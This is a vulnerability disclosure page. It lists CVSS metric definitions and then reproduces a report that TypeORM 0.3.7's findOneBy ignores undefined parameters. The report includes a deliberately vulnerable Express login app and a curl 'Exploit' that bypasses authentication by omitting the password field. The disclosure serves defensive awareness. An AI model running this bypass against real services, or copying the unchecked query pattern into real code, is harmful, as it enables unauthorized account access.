The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: TypeORM 0.3.7 Information Disclosure
I found what I think is a vulnerability in the latest typeorm 0.3.7.
TypeORM v0.3 has a new findOneBy method instead of findOneById() and it is
the only way to get a record by id
Sending undefined as a value in this method removes this parameter from the
query. This leads to the data exposure.
For example:
Users.findOneBy({id: req.query.id}) with /?id=12345 produces SELECT * FROM
Users WHERE id=12345 LIMIT 1 while removing id from the query string
produces SELECT * FROM Users LIMIT 1
Maintainer also does not consider this a vulnerability and stated the
root cause is bad input validation. I tried to contact Snyk, but they
took the author's position. I still think it is a major vulnerability
Vulnerable app:
import {
Entity,
PrimaryGeneratedColumn,
Column,
Connection,
ConnectionOptions,
Repository,
createConnection
} from 'typeorm';
import express from 'express';
import {Application, Request, Response} from 'express';
let connection: Connection;
async function myListener(request: Request, response: Response) {
if(!connection)
connection = await createConnection(connectionOpts);
const userRepo: Repository<User> = connection.getRepository(User);
const { email, password }: Record<string, string> = request.body;
const user = await userRepo.findOneBy({ email, password });
return response.json(user ? 'ok' : 'denied');
}
@Entity({ name: 'Users' })
class User {
@PrimaryGeneratedColumn()
id!: number;
@Column()
email!: string;
@Column()
password!: string;
}
const connectionOpts: ConnectionOptions = {
type: 'mysql',
name: 'myconnection',
host: 'localhost',
username: 'root',
password: 'test123',
database: 'domurl',
entities: [User]
}
const app: Application = express();
app.use(express.json());
app.post( "/authenticate", myListener);
app.listen(4444, () => console.log('App started'));
Usage:
curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "[email protected]", "password":
"incorrect"}'
"denied"
Exploit:
curl http://127.0.0.1:4444/authenticate -H 'Content-Type:
application/json' --data '{"email": "[email protected]"}'
"ok"
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum